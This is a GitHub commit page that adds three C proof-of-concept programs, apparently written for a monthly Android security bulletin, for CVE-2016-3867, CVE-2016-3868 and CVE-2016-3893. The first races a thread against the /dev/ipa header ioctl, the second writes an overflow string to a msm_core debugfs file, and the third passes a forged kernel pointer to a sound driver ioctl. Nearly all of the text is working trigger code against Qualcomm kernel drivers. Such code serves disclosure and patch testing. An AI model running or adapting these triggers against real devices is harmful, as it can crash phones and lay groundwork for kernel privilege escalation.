Skip to content

Commit 6857da8

Browse files
committedSep 10, 2016
bugs for sept bulletin
Signed-off-by: Scott Bauer <[email protected]>
1 parent d6f1679 commit 6857da8

File tree

3 files changed

+198
-0
lines changed

3 files changed

+198
-0
lines changed
 

‎CVE-2016-3867.c

+118
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <stdbool.h>
4+
#include <strings.h>
5+
#include <unistd.h>
6+
#include <sys/ioctl.h>
7+
#include <sys/types.h>
8+
#include <sys/stat.h>
9+
#include <sys/mman.h>
10+
#include <fcntl.h>
11+
#include <net/if.h>
12+
#include <sys/types.h>
13+
#include <sys/socket.h>
14+
#include <pthread.h>
15+
16+
static const char *dev = "/dev/ipa";
17+
18+
#define IPA_RESOURCE_NAME_MAX 32
19+
#define IPA_HDR_MAX_SIZE 64
20+
#define IPA_IOCTL_ADD_HDR 0
21+
#define IPA_IOCTL_DEL_HDR 1
22+
23+
enum ipa_hdr_l2_type {
24+
IPA_HDR_L2_NONE,
25+
IPA_HDR_L2_ETHERNET_II,
26+
IPA_HDR_L2_802_3,
27+
IPA_HDR_L2_MAX,
28+
};
29+
30+
struct ipa_hdr_del {
31+
uint32_t hdl;
32+
int status;
33+
};
34+
35+
struct ipa_ioc_del_hdr {
36+
uint8_t commit;
37+
uint8_t num_hdls;
38+
struct ipa_hdr_del hdl[0];
39+
};
40+
41+
42+
struct ipa_hdr_add {
43+
char name[IPA_RESOURCE_NAME_MAX];
44+
uint8_t hdr[IPA_HDR_MAX_SIZE];
45+
uint8_t hdr_len;
46+
enum ipa_hdr_l2_type type;
47+
uint8_t is_partial;
48+
uint32_t hdr_hdl;
49+
int status;
50+
uint8_t is_eth2_ofst_valid;
51+
uint16_t eth2_ofst;
52+
};
53+
54+
struct ipa_ioc_add_hdr {
55+
uint8_t commit;
56+
uint8_t num_hdrs;
57+
struct ipa_hdr_add hdr[0];
58+
};
59+
60+
#define IPA_IOC_MAGIC 0xCF
61+
62+
63+
#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, IPA_IOCTL_ADD_HDR,\
64+
struct ipa_ioc_add_hdr *)
65+
66+
67+
#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
68+
IPA_IOCTL_DEL_HDR,\
69+
struct ipa_ioc_del_hdr *)
70+
71+
72+
73+
volatile int trigger = 0;
74+
volatile int trigger1 = 0;
75+
static void *size_change(void *hdr)
76+
{
77+
struct ipa_ioc_add_hdr *add_hdr = hdr;
78+
static unsigned int stupid_hack = 2000;
79+
80+
trigger1 = 1;
81+
while (trigger == 0) { };
82+
usleep(stupid_hack);
83+
add_hdr->num_hdrs = 255;
84+
stupid_hack++;
85+
if (stupid_hack > 3000)
86+
stupid_hack = 2000;
87+
88+
trigger1 = 0;
89+
return NULL;
90+
}
91+
92+
93+
int main(void)
94+
{
95+
96+
int fd, counter;
97+
pthread_t race_car;
98+
struct ipa_ioc_add_hdr add_hdr = { 0 };
99+
100+
fd = open(dev, O_RDWR);
101+
if (fd < 0) {
102+
printf("Failed to open %s with %s\n", dev, strerror(errno));
103+
return EXIT_FAILURE;
104+
}
105+
106+
for (counter = 0; counter < 10000; counter++) {
107+
pthread_create(&race_car, NULL, size_change, &add_hdr);
108+
while(trigger1 != 1) {}
109+
trigger = 1;
110+
asm volatile("dmb ishst" : : : "memory");
111+
ioctl(fd, IPA_IOC_ADD_HDR, &add_hdr);
112+
pthread_join(race_car, NULL);
113+
trigger = 0;
114+
add_hdr.num_hdrs = 0;
115+
}
116+
117+
return EXIT_FAILURE;
118+
}

‎CVE-2016-3868.c

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <unistd.h>
4+
#include <sys/ioctl.h>
5+
#include <sys/types.h>
6+
#include <sys/stat.h>
7+
#include <sys/mman.h>
8+
#include <fcntl.h>
9+
#include <errno.h>
10+
11+
static const char *dev = "/sys/kernel/debug/msm_core/ptable";
12+
static const char *crasher = "1 1 1 1 4702111234474983745";
13+
int main(void)
14+
{
15+
int fd;
16+
fd = open(dev, O_WRONLY);
17+
if (fd < 0) {
18+
printf("Failed to open %s with %s\n", dev, strerror(errno));
19+
return EXIT_FAILURE;
20+
}
21+
write(fd, crasher, strlen(crasher));
22+
}

‎CVE-2016-3893.c

+58
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
/**
2+
*
3+
* CVE-2016-3893.c
4+
* https://code.google.com/p/android/issues/detail?id=213554
5+
*
6+
*/
7+
8+
#include <stdlib.h>
9+
#include <stdio.h>
10+
#include <unistd.h>
11+
#include <sys/ioctl.h>
12+
#include <sys/types.h>
13+
#include <sys/stat.h>
14+
#include <fcntl.h>
15+
16+
enum wcd_cal_type {
17+
WCD9XXX_MIN_CAL,
18+
WCD9XXX_ANC_CAL = WCD9XXX_MIN_CAL,
19+
WCD9XXX_MAD_CAL,
20+
WCD9XXX_MBHC_CAL,
21+
WCD9XXX_MAX_CAL,
22+
};
23+
24+
25+
struct wcdcal_ioctl_buffer {
26+
__u32 size;
27+
__u8 __user *buffer;
28+
enum wcd_cal_type cal_type;
29+
};
30+
31+
#define SNDRV_CTL_IOCTL_HWDEP_CAL_TYPE \
32+
_IOW('U', 0x1, struct wcdcal_ioctl_buffer)
33+
34+
35+
int main(void)
36+
{
37+
int i;
38+
const char *dev = "/dev/snd/hwC0D1000";
39+
int fd;
40+
struct wcdcal_ioctl_buffer buf = { 0 };
41+
buf.size = 0xF;
42+
buf.buffer = 0x414100ABADACC355;
43+
buf.cal_type = WCD9XXX_MAD_CAL;
44+
45+
printf("Opening %s\n", dev);
46+
fd = open(dev, O_WRONLY);
47+
if (fd > 0) {
48+
printf("ioctl\n");
49+
ioctl(fd, SNDRV_CTL_IOCTL_HWDEP_CAL_TYPE, &buf);
50+
printf("strerror %s\n", strerror(errno));
51+
}
52+
else
53+
printf("Error on %s with %s\n", dev, strerror(errno));
54+
55+
//sleep(1);
56+
close(fd);
57+
}
58+

0 commit comments

Comments
 (0)
Please sign in to comment.